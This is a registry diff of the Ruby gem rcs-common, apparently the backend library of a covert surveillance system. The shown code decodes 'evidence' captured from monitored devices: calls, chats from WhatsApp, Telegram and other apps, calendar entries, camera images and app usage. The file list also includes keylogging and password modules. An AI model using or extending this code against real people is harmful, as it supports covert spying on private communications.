rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module ApplicationEvidence
|
|
6
|
+
|
|
7
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
8
|
+
|
|
9
|
+
def content
|
|
10
|
+
program = ["Safari", "Opera", "Firefox"].sample.to_utf16le_binary_null
|
|
11
|
+
action = ['START', 'STOP'].sample.to_utf16le_binary_null
|
|
12
|
+
info = ['qui quo qua', 'ciao miao bau'].sample.to_utf16le_binary_null
|
|
13
|
+
content = StringIO.new
|
|
14
|
+
t = Time.now.getutc
|
|
15
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
16
|
+
content.write program
|
|
17
|
+
content.write action
|
|
18
|
+
content.write info
|
|
19
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
20
|
+
|
|
21
|
+
content.string
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
def generate_content
|
|
25
|
+
ret = Array.new
|
|
26
|
+
10.rand_times { ret << content() }
|
|
27
|
+
ret
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
def decode_content(common_info, chunks)
|
|
31
|
+
stream = StringIO.new chunks.join
|
|
32
|
+
|
|
33
|
+
until stream.eof?
|
|
34
|
+
info = Hash[common_info]
|
|
35
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
36
|
+
|
|
37
|
+
tm = stream.read 36
|
|
38
|
+
info[:da] = Time.gm(*tm.unpack('L*'), 0)
|
|
39
|
+
info[:data][:program] = ''
|
|
40
|
+
info[:data][:action] = ''
|
|
41
|
+
info[:data][:desc] = ''
|
|
42
|
+
|
|
43
|
+
program = stream.read_utf16le_string
|
|
44
|
+
info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
|
|
45
|
+
action = stream.read_utf16le_string
|
|
46
|
+
info[:data][:action] = action.utf16le_to_utf8 unless action.nil?
|
|
47
|
+
desc = stream.read_utf16le_string
|
|
48
|
+
info[:data][:desc] = desc.utf16le_to_utf8 unless desc.nil?
|
|
49
|
+
|
|
50
|
+
delim = stream.read(4).unpack('L').first
|
|
51
|
+
raise EvidenceDeserializeError.new("Malformed APPLICATION (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
52
|
+
|
|
53
|
+
yield info if block_given?
|
|
54
|
+
end
|
|
55
|
+
:delete_raw
|
|
56
|
+
end
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
end # ::RCS
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
require_relative 'common'
|
|
2
|
+
require 'rcs-common/serializer'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
module CalendarEvidence
|
|
6
|
+
def content
|
|
7
|
+
raise "Not implemented!"
|
|
8
|
+
end
|
|
9
|
+
|
|
10
|
+
def generate_content
|
|
11
|
+
raise "Not implemented!"
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def decode_content(common_info, chunks)
|
|
15
|
+
stream = StringIO.new chunks.join
|
|
16
|
+
|
|
17
|
+
until stream.eof?
|
|
18
|
+
info = Hash[common_info]
|
|
19
|
+
info[:data] ||= Hash.new
|
|
20
|
+
|
|
21
|
+
@calendar = CalendarSerializer.new.unserialize stream
|
|
22
|
+
|
|
23
|
+
info[:data][:event] = @calendar.fields[:subject]
|
|
24
|
+
info[:data][:type] = @calendar.fields[:categories]
|
|
25
|
+
info[:data][:begin] = @calendar.start_date.to_i
|
|
26
|
+
info[:data][:end] = @calendar.end_date.to_i
|
|
27
|
+
info[:data][:info] = ""
|
|
28
|
+
|
|
29
|
+
trace :debug, "#{info[:data]}"
|
|
30
|
+
|
|
31
|
+
unless @calendar.fields[:recipients].nil?
|
|
32
|
+
recipients = @calendar.fields[:recipients]
|
|
33
|
+
unless recipients.empty?
|
|
34
|
+
info[:data][:recipients] = recipients
|
|
35
|
+
info[:data][:info] += "#{recipients}"
|
|
36
|
+
end
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
unless @calendar.fields[:location].nil?
|
|
40
|
+
location = @calendar.fields[:location]
|
|
41
|
+
unless location.empty?
|
|
42
|
+
info[:data][:location] = location
|
|
43
|
+
info[:data][:info] += " - " unless info[:data][:info].empty?
|
|
44
|
+
info[:data][:info] += "#{location}"
|
|
45
|
+
end
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
unless @calendar.fields[:body].nil?
|
|
49
|
+
body = @calendar.fields[:body]
|
|
50
|
+
unless body.empty?
|
|
51
|
+
info[:data][:body] = body
|
|
52
|
+
info[:data][:info] += " - " unless info[:data][:info].empty?
|
|
53
|
+
info[:data][:info] += "#{body}"
|
|
54
|
+
end
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
yield info if block_given?
|
|
58
|
+
end
|
|
59
|
+
:keep_raw
|
|
60
|
+
end
|
|
61
|
+
end # ::CalendarEvidence
|
|
62
|
+
end # ::RCS
|
|
@@ -0,0 +1,185 @@
|
|
|
1
|
+
|
|
2
|
+
require 'rcs-common/evidence/common'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
|
|
6
|
+
module CallEvidence
|
|
7
|
+
|
|
8
|
+
LOG_VOICE_VERSION = 2008121901
|
|
9
|
+
CHANNEL = { 0 => :incoming, 1 => :outgoing }
|
|
10
|
+
CALL_PROGRAM = { 0x0141 => :skype,
|
|
11
|
+
0x0142 => :gtalk,
|
|
12
|
+
0x0143 => :yahoo,
|
|
13
|
+
0x0144 => :msn,
|
|
14
|
+
0x0145 => :phone,
|
|
15
|
+
0x0146 => :skype,
|
|
16
|
+
0X0147 => :msn,
|
|
17
|
+
0x0148 => :viber,
|
|
18
|
+
0x0149 => :wechat,
|
|
19
|
+
0x014a => :line,
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
def decode_additional_header(data)
|
|
23
|
+
|
|
24
|
+
raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0
|
|
25
|
+
|
|
26
|
+
stream = StringIO.new data
|
|
27
|
+
version = read_uint32 stream
|
|
28
|
+
|
|
29
|
+
raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == LOG_VOICE_VERSION
|
|
30
|
+
|
|
31
|
+
ret = Hash.new
|
|
32
|
+
ret[:data] = Hash.new
|
|
33
|
+
|
|
34
|
+
channel = read_uint32 stream
|
|
35
|
+
ret[:data][:channel] = CHANNEL[channel]
|
|
36
|
+
|
|
37
|
+
software = read_uint32 stream
|
|
38
|
+
ret[:data][:program] = CALL_PROGRAM[software]
|
|
39
|
+
|
|
40
|
+
ret[:data][:sample_rate] = read_uint32 stream
|
|
41
|
+
ret[:data][:incoming] = read_uint32 stream
|
|
42
|
+
|
|
43
|
+
low, high = stream.read(8).unpack 'L2'
|
|
44
|
+
ret[:data][:start_time] = Time.from_filetime high, low
|
|
45
|
+
low, high = stream.read(8).unpack 'L2'
|
|
46
|
+
ret[:data][:stop_time] = Time.from_filetime high, low
|
|
47
|
+
|
|
48
|
+
caller_len = read_uint32 stream
|
|
49
|
+
callee_len = read_uint32 stream
|
|
50
|
+
|
|
51
|
+
ret[:data][:peer] = "<unknown>" if callee_len == 0
|
|
52
|
+
|
|
53
|
+
ret[:data][:caller] ||= stream.read(caller_len).utf16le_to_utf8.lstrip.rstrip if caller_len != 0
|
|
54
|
+
ret[:data][:peer] ||= stream.read(callee_len).utf16le_to_utf8.lstrip.rstrip if callee_len != 0
|
|
55
|
+
|
|
56
|
+
ret
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
def decode_content(common_info, chunks)
|
|
60
|
+
info = Hash[common_info]
|
|
61
|
+
info[:data] ||= Hash.new
|
|
62
|
+
|
|
63
|
+
info[:data][:grid_content] = chunks.join
|
|
64
|
+
|
|
65
|
+
info[:end_call] = true if info[:data][:grid_content] == "\xff\xff\xff\xff".force_encoding("ASCII-8BIT")
|
|
66
|
+
info[:end_call] ||= false
|
|
67
|
+
|
|
68
|
+
yield info if block_given?
|
|
69
|
+
:keep_raw
|
|
70
|
+
end
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
module CalllistoldEvidence
|
|
74
|
+
|
|
75
|
+
def content
|
|
76
|
+
raise "Not implemented!"
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
def generate_content
|
|
80
|
+
raise "Not implemented!"
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
def decode_content(common_info, chunks)
|
|
84
|
+
|
|
85
|
+
info = Hash[common_info]
|
|
86
|
+
info[:data] ||= Hash.new
|
|
87
|
+
|
|
88
|
+
stream = StringIO.new chunks.join
|
|
89
|
+
|
|
90
|
+
@call_list = CallListSerializer.new.unserialize stream
|
|
91
|
+
|
|
92
|
+
info[:da] = @call_list.start_time
|
|
93
|
+
info[:data][:peer] = @call_list.fields[:number]
|
|
94
|
+
info[:data][:peer_name] = @call_list.fields[:name] unless @call_list.fields[:name].nil?
|
|
95
|
+
info[:data][:program] = 'Phone'
|
|
96
|
+
info[:data][:status] = :history
|
|
97
|
+
info[:data][:duration] = (@call_list.end_time - @call_list.start_time).to_i
|
|
98
|
+
info[:data][:incoming] = (@call_list.properties.include? :incoming) ? 1 : 0
|
|
99
|
+
|
|
100
|
+
yield info if block_given?
|
|
101
|
+
:delete_raw
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
end # ::CalllistoldEvidence
|
|
105
|
+
|
|
106
|
+
module CalllistEvidence
|
|
107
|
+
include RCS::Tracer
|
|
108
|
+
|
|
109
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
110
|
+
|
|
111
|
+
CALL_INCOMING = 0x01
|
|
112
|
+
|
|
113
|
+
PROGRAM_TYPE = {
|
|
114
|
+
0x00 => :phone,
|
|
115
|
+
0x01 => :skype,
|
|
116
|
+
0x02 => :viber,
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
def content
|
|
120
|
+
program = [PROGRAM_TYPE.keys.sample].pack('L')
|
|
121
|
+
flags = [[0,1].sample].pack('L')
|
|
122
|
+
users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
|
|
123
|
+
from = users.sample.to_utf16le_binary_null
|
|
124
|
+
to = users.sample.to_utf16le_binary_null
|
|
125
|
+
duration = rand(0..500)
|
|
126
|
+
|
|
127
|
+
content = StringIO.new
|
|
128
|
+
t = Time.now.getutc
|
|
129
|
+
content.write [t.to_i].pack('L')
|
|
130
|
+
content.write program
|
|
131
|
+
content.write flags
|
|
132
|
+
content.write from
|
|
133
|
+
content.write from
|
|
134
|
+
content.write to
|
|
135
|
+
content.write to
|
|
136
|
+
content.write [duration].pack('L')
|
|
137
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
138
|
+
|
|
139
|
+
content.string
|
|
140
|
+
end
|
|
141
|
+
|
|
142
|
+
def generate_content
|
|
143
|
+
ret = Array.new
|
|
144
|
+
10.rand_times { ret << content() }
|
|
145
|
+
ret
|
|
146
|
+
end
|
|
147
|
+
|
|
148
|
+
def decode_content(common_info, chunks)
|
|
149
|
+
stream = StringIO.new chunks.join
|
|
150
|
+
|
|
151
|
+
until stream.eof?
|
|
152
|
+
tm = stream.read(4)
|
|
153
|
+
info = Hash[common_info]
|
|
154
|
+
info[:da] = Time.at(tm.unpack('L').first)
|
|
155
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
156
|
+
|
|
157
|
+
program = stream.read(4).unpack('L').first
|
|
158
|
+
info[:data][:program] = PROGRAM_TYPE[program]
|
|
159
|
+
|
|
160
|
+
flags = stream.read(4).unpack('L').first
|
|
161
|
+
info[:data][:incoming] = (flags & CALL_INCOMING != 0) ? 1 : 0
|
|
162
|
+
|
|
163
|
+
from = stream.read_utf16le_string
|
|
164
|
+
info[:data][:from] = from.utf16le_to_utf8
|
|
165
|
+
from_display = stream.read_utf16le_string
|
|
166
|
+
info[:data][:from_display] = from_display.utf16le_to_utf8
|
|
167
|
+
|
|
168
|
+
rcpt = stream.read_utf16le_string
|
|
169
|
+
info[:data][:rcpt] = rcpt.utf16le_to_utf8
|
|
170
|
+
rcpt_display = stream.read_utf16le_string
|
|
171
|
+
info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
|
|
172
|
+
|
|
173
|
+
info[:data][:duration] = stream.read(4).unpack('L').first
|
|
174
|
+
|
|
175
|
+
delim = stream.read(4).unpack("L").first
|
|
176
|
+
raise EvidenceDeserializeError.new("Malformed CALLLIST (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
177
|
+
|
|
178
|
+
yield info if block_given?
|
|
179
|
+
end
|
|
180
|
+
:delete_raw
|
|
181
|
+
end
|
|
182
|
+
end # CalllistEvidence
|
|
183
|
+
|
|
184
|
+
|
|
185
|
+
end # RCS::
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module CameraEvidence
|
|
6
|
+
|
|
7
|
+
def content
|
|
8
|
+
path = File.join(File.dirname(__FILE__), 'content', 'camera', '001.jpg')
|
|
9
|
+
File.open(path, 'rb') {|f| f.read }
|
|
10
|
+
end
|
|
11
|
+
|
|
12
|
+
def generate_content
|
|
13
|
+
[ content ]
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
def decode_content(common_info, chunks)
|
|
17
|
+
info = Hash[common_info]
|
|
18
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
19
|
+
info[:grid_content] = chunks.first
|
|
20
|
+
yield info if block_given?
|
|
21
|
+
:delete_raw
|
|
22
|
+
end
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
end # ::RCS
|
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
# encoding: utf-8
|
|
2
|
+
|
|
3
|
+
require 'rcs-common/trace'
|
|
4
|
+
require 'rcs-common/evidence/common'
|
|
5
|
+
|
|
6
|
+
module RCS
|
|
7
|
+
|
|
8
|
+
module Chat
|
|
9
|
+
|
|
10
|
+
CHAT_PROGRAM = {
|
|
11
|
+
0x01 => :skype,
|
|
12
|
+
0x02 => :facebook,
|
|
13
|
+
0x03 => :twitter,
|
|
14
|
+
0x04 => :gmail,
|
|
15
|
+
0x05 => :bbm,
|
|
16
|
+
0x06 => :whatsapp,
|
|
17
|
+
0x07 => :msn,
|
|
18
|
+
0x08 => :adium,
|
|
19
|
+
0x09 => :viber,
|
|
20
|
+
0x0a => :wechat,
|
|
21
|
+
0x0d => :line,
|
|
22
|
+
0x0e => :telegram,
|
|
23
|
+
0x0f => :yahoo,
|
|
24
|
+
0x10 => :messages,
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
CHAT_INCOMING = 0x00000001
|
|
28
|
+
CHATMM_NOT_RETRIEVED = 0x10000000
|
|
29
|
+
|
|
30
|
+
def decode_from_to(common_info, stream)
|
|
31
|
+
tm = stream.read 36
|
|
32
|
+
info = Hash[common_info]
|
|
33
|
+
info[:da] = Time.gm(*(tm.unpack('L*')), 0)
|
|
34
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
35
|
+
|
|
36
|
+
program = stream.read(4).unpack('L').first
|
|
37
|
+
info[:data][:program] = CHAT_PROGRAM[program]
|
|
38
|
+
|
|
39
|
+
flags = stream.read(4).unpack('L').first
|
|
40
|
+
info[:data][:incoming] = (flags & CHAT_INCOMING != 0) ? 1 : 0
|
|
41
|
+
info[:data][:size] = (flags & CHATMM_NOT_RETRIEVED != 0) ? 0 : 1
|
|
42
|
+
|
|
43
|
+
from = stream.read_utf16le_string
|
|
44
|
+
info[:data][:from] = from.utf16le_to_utf8
|
|
45
|
+
#trace :debug, "CHAT from: #{info[:data][:from]}"
|
|
46
|
+
from_display = stream.read_utf16le_string
|
|
47
|
+
info[:data][:from_display] = from_display.utf16le_to_utf8
|
|
48
|
+
#trace :debug, "CHAT from_display: #{info[:data][:from_display]}"
|
|
49
|
+
|
|
50
|
+
rcpt = stream.read_utf16le_string
|
|
51
|
+
info[:data][:rcpt] = rcpt.utf16le_to_utf8
|
|
52
|
+
|
|
53
|
+
# remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
|
|
54
|
+
recipients = info[:data][:rcpt].split(',')
|
|
55
|
+
recipients.delete(info[:data][:from])
|
|
56
|
+
info[:data][:rcpt] = recipients.join(',')
|
|
57
|
+
#trace :debug, "CHAT rcpt: #{info[:data][:rcpt]}"
|
|
58
|
+
|
|
59
|
+
rcpt_display = stream.read_utf16le_string
|
|
60
|
+
info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
|
|
61
|
+
if info[:data][:program] == :skype
|
|
62
|
+
# remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
|
|
63
|
+
recipients = info[:data][:rcpt_display].split(',')
|
|
64
|
+
recipients.delete(info[:data][:from])
|
|
65
|
+
info[:data][:rcpt_display] = recipients.join(',')
|
|
66
|
+
end
|
|
67
|
+
#trace :debug, "CHAT rcpt_display: #{info[:data][:rcpt_display]}"
|
|
68
|
+
|
|
69
|
+
return info
|
|
70
|
+
end
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
module ChatEvidence
|
|
74
|
+
include RCS::Tracer
|
|
75
|
+
include Chat
|
|
76
|
+
|
|
77
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
78
|
+
KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
|
|
79
|
+
|
|
80
|
+
def content
|
|
81
|
+
program = [CHAT_PROGRAM.keys.sample].pack('L')
|
|
82
|
+
users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
|
|
83
|
+
from = users.sample.to_utf16le_binary_null
|
|
84
|
+
to = users.sample.to_utf16le_binary_null
|
|
85
|
+
|
|
86
|
+
content = StringIO.new
|
|
87
|
+
t = Time.now.getutc
|
|
88
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
89
|
+
content.write program
|
|
90
|
+
content.write [0].pack('L')
|
|
91
|
+
content.write from
|
|
92
|
+
content.write from
|
|
93
|
+
content.write to
|
|
94
|
+
content.write to
|
|
95
|
+
content.write KEYSTROKES.sample.to_utf16le_binary_null
|
|
96
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
97
|
+
|
|
98
|
+
content.write [t.sec + 5, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
99
|
+
content.write program
|
|
100
|
+
content.write [1].pack('L')
|
|
101
|
+
content.write to
|
|
102
|
+
content.write to
|
|
103
|
+
content.write from
|
|
104
|
+
content.write from
|
|
105
|
+
content.write KEYSTROKES.sample.to_utf16le_binary_null
|
|
106
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
107
|
+
|
|
108
|
+
content.string
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
def generate_content
|
|
112
|
+
[ content ]
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
def decode_content(common_info, chunks)
|
|
116
|
+
stream = StringIO.new chunks.join
|
|
117
|
+
|
|
118
|
+
until stream.eof?
|
|
119
|
+
|
|
120
|
+
info = decode_from_to(common_info, stream)
|
|
121
|
+
|
|
122
|
+
keystrokes = stream.read_utf16le_string
|
|
123
|
+
info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
|
|
124
|
+
#trace :debug, "CHAT content: #{info[:data][:content]}"
|
|
125
|
+
|
|
126
|
+
delim = stream.read(4).unpack("L").first
|
|
127
|
+
raise EvidenceDeserializeError.new("Malformed CHAT (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
128
|
+
|
|
129
|
+
yield info if block_given?
|
|
130
|
+
end
|
|
131
|
+
:delete_raw
|
|
132
|
+
end
|
|
133
|
+
end # ChatEvidence
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
module ChatmmEvidence
|
|
137
|
+
include RCS::Tracer
|
|
138
|
+
include Chat
|
|
139
|
+
|
|
140
|
+
def content
|
|
141
|
+
path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
|
|
142
|
+
File.open(path, 'rb') {|f| f.read }
|
|
143
|
+
end
|
|
144
|
+
|
|
145
|
+
def generate_content
|
|
146
|
+
[ content ]
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
def additional_header
|
|
150
|
+
program = [CHAT_PROGRAM.keys.sample].pack('L')
|
|
151
|
+
flags = [[0,1].sample].pack('L')
|
|
152
|
+
users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
|
|
153
|
+
from = users.sample.to_utf16le_binary_null
|
|
154
|
+
to = users.sample.to_utf16le_binary_null
|
|
155
|
+
mime = "image/jpeg".to_utf16le_binary_null
|
|
156
|
+
filename = "nice_picture.jpeg".to_utf16le_binary_null
|
|
157
|
+
|
|
158
|
+
header = StringIO.new
|
|
159
|
+
t = Time.now.getutc
|
|
160
|
+
header.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
161
|
+
header.write program
|
|
162
|
+
header.write flags
|
|
163
|
+
header.write from
|
|
164
|
+
header.write from
|
|
165
|
+
header.write to
|
|
166
|
+
header.write to
|
|
167
|
+
header.write mime
|
|
168
|
+
header.write filename
|
|
169
|
+
|
|
170
|
+
header.string
|
|
171
|
+
end
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
def decode_additional_header(data)
|
|
175
|
+
raise EvidenceDeserializeError.new("incomplete CHAT MultiMedia") if data.nil? or data.bytesize == 0
|
|
176
|
+
|
|
177
|
+
stream = StringIO.new data
|
|
178
|
+
info = decode_from_to({}, stream)
|
|
179
|
+
|
|
180
|
+
content_type = stream.read_utf16le_string
|
|
181
|
+
info[:data][:type] = content_type.utf16le_to_utf8 unless content_type.nil?
|
|
182
|
+
|
|
183
|
+
filename = stream.read_utf16le_string
|
|
184
|
+
info[:data][:path] = filename.utf16le_to_utf8 unless filename.nil?
|
|
185
|
+
|
|
186
|
+
return info
|
|
187
|
+
end
|
|
188
|
+
|
|
189
|
+
def decode_content(common_info, chunks)
|
|
190
|
+
info = Hash[common_info]
|
|
191
|
+
info[:data] ||= Hash.new
|
|
192
|
+
info[:grid_content] = chunks.join if info[:data][:size] != 0
|
|
193
|
+
yield info if block_given?
|
|
194
|
+
:delete_raw
|
|
195
|
+
end
|
|
196
|
+
|
|
197
|
+
end
|
|
198
|
+
|
|
199
|
+
|
|
200
|
+
module ChatoldEvidence
|
|
201
|
+
include RCS::Tracer
|
|
202
|
+
|
|
203
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
204
|
+
KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
|
|
205
|
+
|
|
206
|
+
def content
|
|
207
|
+
program = ["MSN", "Skype", "Yahoo", "Paltalk", "Sticazzi"].sample.to_utf16le_binary_null
|
|
208
|
+
topic = ["Chatting...", "New projecs", "Fuffa", "Bubbole"].sample.to_utf16le_binary_null
|
|
209
|
+
users = ["ALoR, Daniel", "Bruno, Fulvio", "Naga, Quez", "Tizio, Caio"].sample.to_utf16le_binary_null
|
|
210
|
+
content = StringIO.new
|
|
211
|
+
t = Time.now.getutc
|
|
212
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
213
|
+
content.write program
|
|
214
|
+
content.write topic
|
|
215
|
+
content.write users
|
|
216
|
+
content.write KEYSTROKES.sample.to_utf16le_binary_null
|
|
217
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
218
|
+
|
|
219
|
+
content.string
|
|
220
|
+
end
|
|
221
|
+
|
|
222
|
+
def generate_content
